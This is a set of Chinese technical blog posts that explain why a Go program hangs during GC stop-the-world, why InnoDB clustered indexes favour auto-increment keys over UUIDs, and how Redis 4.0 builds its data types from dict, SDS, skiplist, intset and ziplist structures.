1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

package main

import (
"fmt"
"runtime"
)

func main() {
var i byte
go func() {
for i = 0; i <= 255; i++ {
}
}()
fmt.Println("Dropping mic")
// Yield execution to force executing other goroutines
runtime.Gosched()
runtime.GC()
fmt.Println("Done")
}

这个问题很有意思，大概涉及到 Golang 中以下三个概念：

1. byte 是什么
2. goroutine 如何调度
3. Golang GC 时会发生什么

本文尝试简单解释下为什么上面的程序会卡死。

首先，先看下 main 函数里启动的 goroutine 事实上是什么东西：

1
2
3
4
5

var i byte
go func() {
for i = 0; i <= 255; i++ {
}
}()

Golang 中，byte 其实被 alias 到 uint8 上了。所以上面的 for 循环会始终成立，因为 i++ 到 i=255 的时候会溢出，i <= 255 一定成立。也即是， for 循环永远无法退出，所以上面的代码其实可以等价于这样：

1
2
3

go func() {
for {}
}

其次，Goroutine 的调度是一个非常复杂的问题，这里并不打算详细介绍完整细节。
大概描述一下，目前版本的 Golang 中 goroutine 的调度（Scalable Go Scheduler Design Doc）基于 GPM 模型，G 代表 goroutine，M 可以看做真实的资源（OS Threads）。P 是 G-M 的中间层，组织多个 goroutine 跑在同一个 OS Thread 上。大概的模型如下（图偷自 Google 图片搜索）：

如上图可以看到，一个 P 上会挂着多个 G，当一个 G 执行结束时，P 会选择下一个 G 继续执行。而当一个 G 执行太久没有结束，总也要给后面的 G 运行的机会吧。所以，Go scheduler 除了在一个 goroutine 执行结束时会调度后面的 goroutine 执行，还会在正在被执行的 goroutine 发生以下情况时让出当前 goroutine 的执行权，并调度后面的 goroutine 执行：

• IO 操作
• Channel 阻塞
• system call
• 运行较长时间

前三种这里我们不关心，最后一种情况下，如果一个 goroutine 执行时间太长，scheduler 会在其 G 对象上打上一个标志（ preempt），当这个 goroutine 内部发生函数调用的时候，会先主动检查这个标志，如果为 true 则会让出执行权。（这里说得比较粗略，实际会复杂一些，不过并不是本文重点所以暂不关注细节。）

回到本文开始时的例子，main 函数里启动的 goroutine 其实是一个没有 IO 阻塞、没有 Channel 阻塞、没有 system call、没有函数调用的死循环。也就是，它无法主动让出自己的执行权，即使已经执行很长时间，scheduler 已经标志了 preempt。

如上图所示，一旦这个 G （ goroutine ） 拿到执行权，它后面的 G 将无法再被当前 P 调度获得执行权。上面程序为了让这个 G 对象一定拿到执行权，在 main goroutine 中主动执行 runtime.Gosched() 让出了执行权。

P 的数量由 GOMAXPROCS 设置，默认为机器的 CPU 数量。

这里又分为两种情况：

1. 当这个程序跑在单核机器上的时候，P 默认只有一个，所以一旦调度到这个 G 对象就会卡死，因为永远没有机会再调度回 main goroutine 了。
2. 当这个程序跑在多核机器上的时候，程序到这一步并不会卡死，因为另一个 P 所关联的 G 队列执行完了之后，会通过 Work-Stealing 算法偷取别的 P 对象上的 G，所以 main goroutine 还是有机会被别的 P 调度到。

可是文章开始时的代码，不论是在单核的机器上，还是在多核的机器上，都会卡死。

这就涉及到第三个点了：Golang 的 GC。

Golang 的 GC 本质上是基于标记-清除实现的（基于此不断改进过）。
见名知意，标记-清除分为两个阶段：

• 标记
• 清除

其中，标记阶段是需要 STW（ Stop The World ）的，也就是会让所有正在运行的 goroutine 停下来。大概源码在这个位置：

1
2
3
4
5
6
7

func gcStart(mode gcMode, trigger gcTrigger) {

// ......
systemstack(stopTheWorldWithSema)
// ......

}

到这一步，死循环这个 goroutine 由于上面介绍的原因永远无法停下来，但是 main goroutine 阻塞在 GC STW 这里，等待所有 goroutine 停止执行。main goroutine 在等待一个永远不会为它停下的 G，于是，程序卡死了。

类似的，在设置 GOMAXPROCS 的时候，也需要 STW，所以下面的代码，和本文开始时的代码，卡死的原因是一样一样的（Go Playground）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

package main

import (
"fmt"
"runtime"
"time"
)

func forever() {
for {
}
}

func main() {
go forever()

time.Sleep(time.Millisecond)  // 让出执行权
runtime.GOMAXPROCS(1926)      // 等待 stw
fmt.Println("Done")           // 永远执行不到
}

区区几行代码，里面的奥妙真不少呀。

聚簇索引

在 InnoDB 中，每个表都会有一个聚簇索引，在定义了主键（ primary key ）的情况下，主键所在的列会被作为聚簇索引存储。所谓聚簇索引，意思是数据实际上是存储在索引的叶子节点上，「聚簇」的含义就是数据行和相邻的数据紧凑地存储在一起。因为不能（或者不值得）同时把数据行存储在两个不同的位置，所以一个表只能有一个聚簇索引。

关于 InnoDB 选择哪个列作为聚簇索引存储，大概的优先级为：

1. 如果定义了主键（ primary key ），则使用主键；
2. 如果没有定义主键，则选择第一个不包含 NULL（ NOT NULL ）的 UNIQUE KEY；
3. 如果也没有，则会隐式定义一个主键作为聚簇索引。

下图展示了聚簇索引中记录（数据）是如何存放的：

如上图所示，聚簇索引中，不但存储了索引，还存储了整张表的数据到叶子节点上。可以认为 InnoDB 中，聚簇索引「就是」表。对应的，InnoDB 的其它索引中，叶子节点所存储的，其实是主键的值。存储主键的值而不是数据行的位置，这样的存储方式可以减少当出现数据行移动或者数据页分裂时二级索引的维护工作。

聚簇与非聚簇表的数据存储方式

我们假设有如下数据表：

我们假设列 col1 是 primary key，那么，对应的聚簇索引存储结构就会如下：

（暂时不必关心 TID 和 RP，它们是事务 ID 和回滚指针）如上所示，聚簇索引除了存储 col1 的值之外，还会存储其它列的值（本例的 col2）。
如果 col2 设置了普通索引，对应地，col2 的索引存储结构如下：

可以看到，对应 B+ 树叶子节点上存储了对应行的主键的值。

抽象来看，InnoDB 通过如下结构存储主键索引（聚簇索引）：

InnoDB 通过如下结构存储二级索引：

作为参考，MyISAM（另一个 MySQL 存储引擎）是这样存储主键索引和二级索引的：

InnoDB 表中按主键顺序插入

一般来讲，使用一个业务无关的自增（ AUTO_INCREMENT ）ID，可以保证数据在插入时会被按顺序写入。假设我们使用 UUID 作为聚簇索引，在插入数据的时候，聚簇索引所被插入的位置将变得完全随机。大量的随机插入会导致页分裂和碎片非常多。

下图展示了数据插入有序递增时，聚簇索引会如何存储插入的数据行：

可以看到，因为主键是有序的，InnoDB 把每一条记录都存储在上一条记录的后面。当当前页即将写满时（之所以是即将而不是已经，是因为 InnoDB 会预留一点空间用于以后修改数据，默认预留页的 1/16 大小），下一条记录被插入时，将会写入到新的页中去。所有被插入的数据，都将有序地放到聚簇索引最后的位置上去。

对应地，如果使用 UUID 作为主键索引，InnoDB 将完全随机地将数据插入到聚簇索引对应的位置上去：

如上，因为新插入的行的主键不一定比之前插入的大（由于是 UUID，将会非常随机），所以 InnoDB 将无法简单地总是把新行插入到索引的最后，而是需要根据主键 ID 的值为它寻找合适的索引位置，并为其分配空间。使用 UUID 作为聚簇索引，有以下缺点：

• 写入的目标页可能已经写入到磁盘而不只是存在于内存中，又或者目标页还没有被加载到内存中，InnoDB 在插入前需要先找到并从磁盘中读取目标页到内存中去，这会产生大量的磁盘随机 IO。
• 因为写入是乱序的，InnoDB 需要频繁地做页分裂操作，一遍为新的行分配空间。页分裂需要移动大量数据。
• 有序频繁的页分裂，页会变得稀疏并被不规则地填充，所以最终数据会有碎片。

所以，在使用 InnoDB 时应该尽可能使用单调递增的主键 ID 顺序插入数据。单调递增的主键 ID 并不只有 AUTO INCREMENT 一种方式，比如一些分布式发号器算法，也能产生递增的 ID 序列。

小结

简述了为什么应该使用自增的 ID 而不是 UUID 作为 InnoDB 表的主键 ID。

注：本文截图摘自《高性能 MySQL》

dict 的实现

dictht(hash table) & dictEntry

Redis 中 dict 结构其实封装了 hash table（ Redis 中叫做 dictht ），如下是 Redis4.0 中，dictht 的定义：

1
2
3
4
5
6

typedef struct dictht {
    dictEntry **table;      // hash table 实际存储的位置 
    unsigned long size;     // table 的大小
    unsigned long sizemask;
    unsigned long used;     // 已经使用的长度
} dictht;

如上，table 属性指向一个 dictEntry 指针数组的开始位置，（其实就是 dictEntry 指针数组）用来存储每一组键值对。size 则记录 table 的长度，used 用来记录已经存储的节点数量。

如下是 dictEntry 的定义：

1
2
3
4
5
6
7
8
9
10

typedef struct dictEntry {
    void *key;
    union {
        void *val;
        uint64_t u64;
        int64_t s64;
        double d;
    } v;
    struct dictEntry *next;
} dictEntry;

如上，key 则是一个键值对的键，v 是对应的值。每个 dictEntry 除了存储键值之外，还有一个 next 指针，用来指向 hash 相同时的下一个节点，以解决 hash 冲突问题。

如下图，假如 k1/k2 对应的 hash 相同，则会通过 next 指针连接起来：

1
2
3
4
5
6
7
8
9
10
11
12
13

+----------+
|  dictht  |
+----------+    +----------+
|  table   +--->| dictEntry|
|          |    +----------+
|  size    |    |    0     +->NULL  +---------+      +---------+
|          |    +----------+        |  entry  | next |  entry  | next
|  sizemask|    |    1     +------->+---------+----->+---------+----->NULL
|          |    +----------+        | k1 | v1 |      | k2 | v2 |
|  used    |    |    2     +->NULL  +---------+      +---------+
+----------+    +----------+
                |    3     +->NULL
                +----------+

dict

Redis4.0 中 dict 的定义如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

typedef struct dictType {
    // 计算哈希值
    uint64_t (*hashFunction)(const void *key);
    // 复制 key
    void *(*keyDup)(void *privdata, const void *key);
    // 复制 value
    void *(*valDup)(void *privdata, const void *obj);
    // 比较 key
    int (*keyCompare)(void *privdata, const void *key1, const void *key2);
    // 销毁 key
    void (*keyDestructor)(void *privdata, void *key);
    // 销毁 value
    void (*valDestructor)(void *privdata, void *obj);
} dictType;


typedef struct dict {
    dictType *type;
    void *privdata;
    dictht ht[2];
    long rehashidx; /* rehashing not in progress if rehashidx == -1 */
    unsigned long iterators; /* number of iterators currently running */
} dict;

先看一下 dictType，由于 dictEntry 中的 key 是 void*，v 也可以是 void*，所以需要某种方式来操作具体的键和值。dictType 就定义了一组函数指针，dict 对象的 type 指针关联本 dict 对应的 key-value pair 实现的 dictType，以实现具体类型的计算哈希、复制键值、比较和销毁键值等操作。dict 通过这样的方式实现了多态。

dict 结构体中，prevdata 保存了需要传给 dictType 里的函数的特定参数（dictType 中各个函数签名中的 prevdata 指针）。

ht 是包含两个 dictht 对象的数组，ht[0] 存储数据，ht[1] 在 rehash 的时候会用到，下面就会提到。

rehashidx 记录 rehash 进度，本文后面会详细介绍。

在没有发生 rehash 的时候，ht[1] 是一个空的 dictht。

hash 冲突

所谓 hash table，本质是将 hash(key) 映射到自己的 table 数组中去。
对于一个 dict 对象，一个 dictEntry 经过下面的计算即可知道需要被映射到哪个位置：

1
2

hash = dict->type->hashFunction(dictEntry->key);
position = hash & dict->ht[0].sizemask;

想象这样的情况，如果两个 key 的哈希值相同，或者哈希值 & sizemask 相同，即两个不同的 key 被映射到 dictht.table 的同一个位置，也就是发生了 hash 冲突。

如上 dictEntry 结构中的 next 指针，Redis 通过这个指针将 hash 冲突的 dictEntry 连接到一起，以解决冲突。

由于 dictEntry 只有 next 指针，所以处于性能考虑，当 dictht 遇到 hash 冲突时，新的节点总是会被添加到这个链表的表头节点，也就是只需要 O(1) 时间复杂度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

before: 包含 k1-v1 的 dictht：
+----------+
|  dictht  |
+----------+    +----------+
|  table   +--->| dictEntry|
|          |    +----------+
|  size    |    |    0     +->NULL  +---------+ 
|          |    +----------+        |  entry  |  
|  sizemask|    |    1     +------->+---------+ 
|          |    +----------+        | k1 | v1 | 
|  used    |    |    2     +->NULL  +---------+ 
+----------+    +----------+
                |    3     +->NULL
                +----------+

after: 当 k2 与 k1 的 hash 冲突时，k2 会被插入到链表表头节点：
+----------+
|  dictht  |
+----------+    +----------+
|  table   +--->| dictEntry|
|          |    +----------+
|  size    |    |    0     +->NULL  +---------+      +---------+
|          |    +----------+        |  entry  | next |  entry  | next
|  sizemask|    |    1     +------->+---------+----->+---------+----->NULL
|          |    +----------+        | k2 | v2 |      | k1 | v1 |
|  used    |    |    2     +->NULL  +---------+      +---------+
+----------+    +----------+
                |    3     +->NULL
                +----------+

rehash 过程

当 dictEntry 被不断插入到 dictht 中或不断被删除时，dictht 对象的 table size 对于当前存储元素个数来讲可能太小或者太大。
衡量所谓「太大」和「太小」的标准，叫做负载因子（ load factor ），这个值的计算规则为：

1

loadFactor = dictht.used / dictht.size

比如对于上面的例子，负载因子就是 2 / 4 = 0.5。

当：

1. 服务器执行 BGSAVE/BGREWRITEAOF 命令且负载因子大于 5 时，Redis 会对 dictht 扩容；
2. 服务器没有执行 BGSAVE/BGREWRITEAOF 命令且负载因子大于 1 时，Redis 会对 dictht 扩容；
3. 负载因子小于 0.1 时，Redis 会对 dictht 缩容。

当满足这些条件时，将出发 Redis rehash 操作，具体步骤为：

1. 为 dict->ht[1] 分配空间，具体大小取决于目前是要扩容还是缩容，以及 ht[0].used（当前 dict 大小）：
   a. 当扩容时，新的大小为第一个大于 ht[0].used * 2 的 2^n 值；
   b. 当缩容时，新的大小为第一个 ≥ ht[0].used 的 2^n 值。
2. 将 ht[0].table 中所有的键值对依次 rehash 到 ht[1].table 中去，即依次为每个 dictEntry 计算 key 的 hash，并映射到新的 dictht.table 中。
3. 当 ht[0].table 所有 dictEntry 全部迁移到 ht[1].table 里之后，释放 ht[0]，并将 ht[1] 设置为 ht[0]，然后再在 ht[1] 创建空的 dictht。

渐进式 rehash

当 dict rehash 发生时，需要将 ht[0] 中所有 dictEntry 全部 rehash 到 ht[1] 中去。想象一下如果 dict 已经非常大时，这个操作将会非常慢，以至于影响 Redis 对外提供服务的性能。
所以在 Redis rehash 过程的实现中，这个过程并不是停机一次性完成的，而是会分多次进行，渐进式完成的。上面提到的 dict->rehashidx 属性，就是用来记录 rehash 流程的。

这个渐进式 rehash 大概的流程如下：

1. 为 dict->ht[1] 分配合适的空间，dict 此时同时持有 ht[0] 和 ht[1]；
2. 将 dict->rehashidx 设置为 0，代表 rehash 工作开始；
3. 当 rehash 期间，对 dict 执行的增、删、改、查操作时，Redis 除了执行操作外，还会将 dict->ht[0].table[dict->rehashidx] 上的 dictEntry rehash 到 dict->ht[1] 中，并将 rehashidx 加一；
4. 随着 dict rehash 不断进行，最终，dict->ht[0] 上的所有元素都被 rehash 至 dict->ht[1] 中，rehash 过程完成，将 rehashidx 置为 -1;
5. 释放 ht[0]，并将 ht[1] 设置为 ht[0]，然后再在 ht[1] 创建空的 dictht。

在 rehash 过程中，如果有新的元素插入，则会直接被插入到 dict->ht[1] 中去，ht[0] 将不会再插入数据。
而这个过程中，dict->ht[0]、ht[1] 都有部分数据，因此在 rehash 进行时，dict 的查找、删除、更新都会在两个 dictht 对象上执行。比如删除一个 key，如果这个 key 在 dict->ht[0] 中不存在，还会再在 dict->ht[1] 中查找并删除（如果存在）。

小结

回顾了一下 Redis 中 dict 的实现，当遇到 hash 冲突时的解决办法，以及 Redis 中 dict 是如何扩容和缩容的。

Redis 用户侧支持的数据结构

完整的 Redis 命令参考可以查看 redisdoc.com。

string

通过 key-value pair 的方式，存储字符串、整数、浮点数等对象。

1
2
3

+---------+    +---------+
|   key   +--->|  value  |
+---------+    +---------+

虽然叫做「 string 」，但其实更像是一个字节序列（底层存储也是一个字节数组），所以其实你可以存储任何东西到 string 中去。比如把 Python pickle 序列化后的对象、一张图片的二进制序列等任何东西存储为 string。
之所以说 string 是字节数组，一部分原因是其提供了直接操作 bit 的指令。
不完全等同于 byte array 的是，string 对象某些场景下可以直接在服务端被解释为一个 int/double 对象，然后直接进行一些数字相关的运算（加、减）。
string 对象是 Redis 中最基础的类型，因为后面几乎所有数据类型存储的值，都是 string 类型。

hash

Hash table，某些地方又被称为 map，概念上有点类似 Python 中的 dict 或 Golang 中的 map 等。其存储的是一系列 key-value 对。

list

List 对象概念上可以理解为 Python 中的 list、Java 中的 List、Golang 中的 slice 等。之所以说概念上，是因为这几者底层实现上其实并不相同，只是都是对一组数据的集合的抽象。

1
2
3

+-------+   +--------+--------+--------+--------+
|  key  +-->| value1 | value2 | ...... | value n|
+-------+   +--------+--------+--------+--------+

（逻辑上 list 是这样的，实现上下面再讲）
Redis 中 list 对象可以插入数据到 list 头或尾上，由于其底层实现是一个双向链表（某些场景下不是），所以插入两端都是 O(1) 的。

set

Set 对象有点像是 Python 里的 set，其存储的是多个互不相同的元素。由于 set 底层使用 hash table 存储（同上，某些场景下不是），所以其大部分操作都是 O(1) 的。

zset

zset 是有序集合，同 set 相似的是，其内部存储的元素也是不允许重复的。不同的是，set 中存储的元素是无序的，但是 zset 存储的元素是有序的。
通过为 zset 中每个元素设置一个 score，zset 根据元素的 score 排序。

其他（略）

• HyperLogLog
• GEO

实现用户侧数据结构的底层结构

Redis 是通过 C 语言实现的，由于 C 语言的朴素，Redis 并没有直接实现上面提到的数据结构，而是通过构件了一系列基础的数据结构，经过对象系统对下层结构的封装，来实现上层面向用户的各种结构。
下面，先介绍下这些底层结构。

SDS

SDS 是「 simple dynamic string 」的缩写，是对 C 字符串的抽象（其实 C 语言没有字符串…… 2333）。
SDS 的定义如下（ Redis4.0 sds 定义，相比 3.0 及之前版本，目前版本包含多种格式的 sdshdr 定义）：

1
2
3
4
5
6

struct __attribute__ ((__packed__)) sdshdr64 {
    uint64_t len; /* used */
    uint64_t alloc; /* excluding the header and null terminator */
    unsigned char flags; /* 3 lsb of type, 5 unused bits */
    char buf[];
};

相比 C char array，sds 有以下优点：

1. 获取字符串长度效率更优。C 字符串只是一个 ‘\0’ 结尾的 char 数组，如果需要获取字符串长度，需要遍历整个数组，遍历操作时间复杂度为 O(N)。而 sds len 属性记录了本身的长度，获取长度只需要 O(1) 复杂度。
2. 避免数组长度溢出。类似 strcat(dst, src) 等函数，如果 dst 数组剩下的空间小于 src 的长度，则在字符串连接的时候会导致数组溢出。而在 sds 中，执行字符串拼接等修改操作时，会先通过 len、alloc 属性检查剩下的空间是否足够。当空间不足时，会先分配足够的空间。
3. 减少内存分配次数。sds 会通过预申请内存，在连接字符串等操作时，减少对内存的申请操作。同时，如果 sds 所保存的字符串变短了，也并不会立即释放内存，而是通过 len 记录已使用，剩余空间作为 buffer 暂时保留。
4. 二进制安全。因为 C 字符串会以 ‘\0’ 作为结束符，所以如果在 char array 中存储图片等二进制数据时，空字符会被认为是结束符。而 sds 通过 len 属性记录 buf 使用的长度，则可以避免这样的问题。
5. 兼容部分 C 字符串函数。sds 也会在 buf 已使用的最后一位后（sds->buf[sds->len]）插入一个 ‘\0’，这样在 sds 存储文本数据时，可以方便地复用一些 string.h 已有的函数。

linkedlist

Redis 中 linkedlist 是一个双向链表（Redis4.0 linkedlist 定义）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

typedef struct listNode {
    struct listNode *prev;
    struct listNode *next;
    void *value;
} listNode;

typedef struct listIter {
    listNode *next;
    int direction;
} listIter;

typedef struct list {
    listNode *head;
    listNode *tail;
    void *(*dup)(void *ptr);
    void (*free)(void *ptr);
    int (*match)(void *ptr, void *key);
    unsigned long len;
} list;

每个节点类似这样：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

+---------+           +----------+        +----------+        +----------+
|  list   |           | listNode |        | listNode |        | listNode |
+---------+           +----------+  next  +----------+  next  +----------+  next
|  head   +----------->          +-------->          +-------->          +------->NULL
|         |           |  value   |        |  value   |        |  value   |
|  tail   +-+  NULL<--+          <--------+          <--------+          |
|         | |     prev+----------+  prev  +----------+  prev  +-^--------+
|  len: 3 | |                                                   |
|         | +---------------------------------------------------+
|  dup    +----> ...
|         |
|  free   +----> ...
|         |
|  match  +----> ...
+---------+

list 结构通过 head、tail 记录了链表头尾指针，配合每个节点的 next、prev，方便从头或者从尾遍历等操作。
另外，dup/free/match 等函数指针，则是用于实现链表的多态特性：

1. dup 函数用于复制链表节点保存的值
2. free 函数用于释放链表节点保存的值
3. match 函数用于比较节点的值与另一个输入 key 是否相同

dict

dict 类似 Python 中的 dict 或 Golang 中的 map。
在 Redis 中，dict 通过一个 dict 结构实现，底层通过一个 hashtable 存储数据。
tashtable 和 dictEntry 的定义如下（Redis4.0 dict 定义）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

typedef struct dictEntry {
    void *key;
    union {
        void *val;
        uint64_t u64;
        int64_t s64;
        double d;
    } v;
    struct dictEntry *next;
} dictEntry;

typedef struct dictht {
    dictEntry **table;       // hash table 实际存储的位置
    unsigned long size;      // table 的大小
    unsigned long sizemask;
    unsigned long used;      // 已经使用的长度
} dictht;

其中，dictEntry 是每个 key-value 对存储的结构，其 next 指针用于在 hash 冲突时，将多个 entry 连接一起：

1
2
3
4
5
6
7
8
9
10
11
12
13

+----------+
|  dictht  |
+----------+    +----------+
|  table   +--->| dictEntry|
|          |    +----------+
|  size    |    |    0     +->NULL  +---------+      +---------+
|          |    +----------+        |  entry  | next |  entry  | next
|  sizemask|    |    1     +------->+---------+----->+---------+----->NULL
|          |    +----------+        | k1 | v1 |      | k2 | v2 |
|  used    |    |    2     +->NULL  +---------+      +---------+
+----------+    +----------+
                |    3     +->NULL
                +----------+

dict 的定义如下（Redis4.0 dict 定义）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

typedef struct dictType {
    // 计算哈希值
    uint64_t (*hashFunction)(const void *key);
    // 复制 key
    void *(*keyDup)(void *privdata, const void *key);
    // 复制 value
    void *(*valDup)(void *privdata, const void *obj);
    // 比较 key
    int (*keyCompare)(void *privdata, const void *key1, const void *key2);
    // 销毁 key
    void (*keyDestructor)(void *privdata, void *key);
    // 销毁 value
    void (*valDestructor)(void *privdata, void *obj);
} dictType;

typedef struct dict {
    dictType *type;
    void *privdata;
    dictht ht[2];
    long rehashidx; /* rehashing not in progress if rehashidx == -1 */
    unsigned long iterators; /* number of iterators currently running */
} dict;

其中：

1. dictType 是一个包含一组针对不同类型 entry 特定操作函数的结构体。不同类型的 entry 通过不一样的实现，来达到多台的目的。
2. prevdata 保存了需要传给 dictType 里的函数的特定参数（如上函数签名的 prevdata 指针）
3. ht 是包含两个 dictht 对象的数组，ht[0] 存储数据，ht[1] 在 rehash 的时候会用到（这里只提一下，dict rehash 过程下次单写）
4. rehashidx 记录 rehash 进度，这里不做过多介绍。

关于 dict 结构的一些细节，下次再详细介绍。

skiplist

skiplist（跳跃表） 是一种有序的结构，通过在每个节点中维护多个指向其他节点的指针来实现快速访问节点的目的。

skiplist 的定义如下（Redis4.0 skiplist 定义）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

typedef struct zskiplistNode {
    sds ele;
    double score;
    struct zskiplistNode *backward;
    struct zskiplistLevel {
        struct zskiplistNode *forward;
        unsigned int span;
    } level[];
} zskiplistNode;

typedef struct zskiplist {
    struct zskiplistNode *header, *tail;  // 头、尾指针
    unsigned long length;                 // 长度
    int level;
} zskiplist;

如上，zskiplistNode 由于保存每个节点的数据和各种指针等，zskiplist 用于保存整个 skiplist 相关信息。

intset

当 set 中只包含整数元素时且元素不多时，底层的数据结构便是 intset。
intset 的定义如下（Redis4.0 intset 定义）：

1
2
3
4
5

typedef struct intset {
    uint32_t encoding;
    uint32_t length;
    int8_t contents[];
} intset;

其中 contents 数组用于存储数据，intset 按照存储数字的大小有序排列在 contents 数组中。length 属性记录集合中元素的个数。
encoding 记录 contents 数组中存储的元素的类型：

• INTSET_ENC_INT16 存储 int16 类型整数
• INTSET_ENC_INT32 存储 int32 类型整数
• INTSET_ENC_INT64 存储 int64 类型整数

1
2
3
4
5
6
7
8
9
10
11

+----------+
|  intset  |
+----------+
|  encoding|
|   INTSET_ENC_INT16
|          |
|  length  |
|   5      |
|          |       +----+---+---+---+------+
|  contents+------>+ -4 | 0 | 3 | 6 | 1024 |
+----------+       +----+---+---+---+------+

当新增元素到 intset 中时，如果新元素比现有元素类型长时，比如向 INTSET_ENC_INT16 编码的 intset 插入一个 32 位整数时，intset 需要先升级（upgrade），才能添加元素。所谓 upgrade 是将此 intset 的 enconding 更新为更长 bit 的编码格式上。当 intset 升级后不会降级，哪怕删除长 bit 元素后剩下全是短 bit 元素。

ziplist

ziplist 是 list 和 hash 的一种底层实现。当 list 元素较少且只包含整数或短字符串时，底层会通过 ziplist 存储数据。
ziplist 是为了节约内存而设计的一种结构，本质上就是一个约束了特殊格式的 char array，或者更正确的说法，是字节序列。展开这个字节序列，大致约束的格式是这样：

1
2
3

+---------+--------+-------+--------+-----+--------+-------+ 
| zlbytes | zltail | zllen | entry1 | ... | entryN | zlend | 
+---------+--------+-------+--------+-----+--------+-------+

每部分的含义是：

对于每个 entry 节点，又可以展开为这样的格式：

1
2
3

+-----------------------+----------+---------+ 
| previous_entry_length | encoding | content |
+-----------------------+----------+---------+

每部分的含义是：

Redis 是如何通过底层结构构件上层数据类型的

上面介绍了用户侧使用的几种常见数据类型，也介绍了 Redis 底层用于支持上层结构而实现的一些结构。下面介绍下 Redis 是如何通过下层的结构构件上层的数据类型的。

redisObject 对象

Redis 不直接实现上层的数据类型，是为了方便在不同场景下可以替换下层合适的数据结构，同时对上层使用屏蔽下层实现细节。在不同场景下，面对性能和内存占用不同而使用不同的下层结构支持同一个上层对象。

redisObject 对象完成了这层转换（Redis4.0 redisObject 定义）：

1
2
3
4
5
6
7
8
9

typedef struct redisObject {
    unsigned type:4;       // 类型
    unsigned encoding:4;   // 编码
    unsigned lru:LRU_BITS; /* LRU time (relative to global lru_clock) or
                            * LFU data (least significant 8 bits frequency
                            * and most significant 16 bits access time). */
    int refcount;
    void *ptr;             // 指向底层实现数据结构的指针
} robj;

如上结构，type 属性记录了对象的类型，对应上层面向用户的那些数据类型（string/list/hash 等）。对应的类型，可以通过在 redis-cli 中调用 TYPE key 查看每个 key 对应的类型。

而 encoding 则对应着这个 redisObject 下层使用的数据类型（如上 sds/ziplist/dict 等），常见的 encoding 有：

对应的下层结构，可以通过在 redis-cli 中调用 OBJECT ENCODING key 查看每个 key 对应的底层实现的数据结构。

string –> int/raw/embstr

string 类型在不同场景下，下层分别由 int/raw/embstr 编码方式来实现（ embstr 是经过优化的用于保存短字符串的编码方式）。

1. 如果 value 是一个整数，且整数长度在 8 bytes 以内，则 string 对象的编码类型为 int，redisObject 的 ptr 指针将指向一个 long 型对象。
2. 如果 value 是一个字符串值，且长度大于 32 字节，则 string 对象编码类型为 raw，对应 redisObject 的 ptr 指针将指向一个 sds 对象。
3. 如果 value 是一个字符串值，且长度小于等于 32 字节，则会通过 embstr 编码保存。

当 int 编码的 value 被重新赋值为字符串或通过 incr 等命令自增到超过 64 位长度时，则 Redis 会将其编码方式从 int 转换为 raw。
当 embstr 编码的 value 发生修改时，编码方式会变为 raw 方式，换言之，embstr 是 read only 的。

list –> ziplist/linkedlist

list 的底层实现则分为 ziplist 和 linkedlist 两种。

1. 当 list 中所有元素长度都小于 list-max-ziplist-value 字节，且元素数量少于 list-max-ziplist-entries 时，底层会选择使用 ziplist。
2. 否则，使用 linkedlist。

当 ziplist 编码存储的 list 不满足上面 1 的两个条件任意一个时，Redis 就会将对应 value 的编码方式从 ziplist 转换为 linkedlist。

hash –> ziplist/hashtable

hash 的底层实现可以为 ziplist 或者 hashtable 两种格式。

1. 当 hash 对象所有 key-value pair 长度都小于 hash-max-ziplist-value，且 key-value pair 数量小于 hash-max-ziplist-entries 时，底层会使用 ziplist 保存 hash 对象。
2. 否则，使用 hashtable。

当使用 ziplist 作为 hash 底层存储结构时，每个 key-value 对会连续地放置在 ziplist 中：

1
2
3
4
5
6

+---------+--------+-------+------+--------+------+--------+-----+------+--------+-------+
| zlbytes | zltail | zllen | key1 | value1 | key2 | value2 | ... | keyN | valueN | zlend | 
+---------+--------+-------+--^---+---^----+------+--------+-----+------+--------+-------+
                              |       |
                              +-------+
                            key-value 对

同 list，当 hash 对象不满足如上 1 的两个条件任意一个时，编码方式就会从 ziplist 转换为 hashtable。

set –> intset/hashtable

set 的底层实现由 intset 和 hashtable 两种。

1. 当 set 所有元素都是整数对象，且元素数量小于 set-max-intset-entries 时，使用 intset 作为底层编码方式。
2. 否则，使用 hashtable。

如下分别是使用 intset 和 hashtable 时，set 对象的存储方式：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

+---------------+
|  redisObject  |
+---------------+         +-------------+
|  type         |         |  intset     |
|   REDIS_SET   |         +-------------+
+---------------+         |  encoding   |
|  encoding     |         |   INTSET_ENC_INT16
|   REDIS_ENCODING_INTSET +-------------+ 
+---------------+         |  length     |
|  ptr          +-------->|   3         |
+---------------+         +-------------+   +---+---+---+
|  ...          |         |  contents   +-->| 1 | 3 | 5 |
+---------------+         +-------------+   +---+---+---+


+---------------+
|  redisObject  |
+---------------+         +-------------+
|  type         |         |  dict       |
|   REDIS_SET   |         +-------------+
+---------------+         | StringObject|
|  encoding     |         |  "haha"     +-->NULL
|   REDIS_ENCODING_HT     +-------------+
+---------------+         | StringObject|
|  ptr          +-------->+  "hehe"     +-->NULL
+---------------+         +-------------|
|  ...          |         | StringObject|
+---------------+         |  "keke"     +-->NULL
                          +-------------+

zset –> ziplist/skiplist

有序集合有 ziplist 和 skiplist 两种方式作为底层的存储结构。

1. 当 zset 保存的元素小于 zset-max-ziplist-entries 个，且所有元素长度都小于 zset-max-ziplist-value 字节时，zset 底层通过 ziplist 存储。
2. 否则，使用 skiplist 存储。

同上面其他结构一样，当 1 条件任一不满足时，底层的数据存储结构将转换为第二种。

小结

简单总结了下 Redis 用户端常用的数据结构，以及底层抽象的各种数据结构，以及二者是如何组合起来的。

Redis 面向用户侧的各种数据结构，并不直接实现，而是通过对象系统，在特定的条件下选择特定的底层结构，以在效率和存储空间之间平衡。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

     +----------+         +----------+               +----------+         +----------+
     |  string  |         |   list   |               |   zset   |         |   ...    |
     +----+-----+         +----+-----+               +----+-----+         +----------+
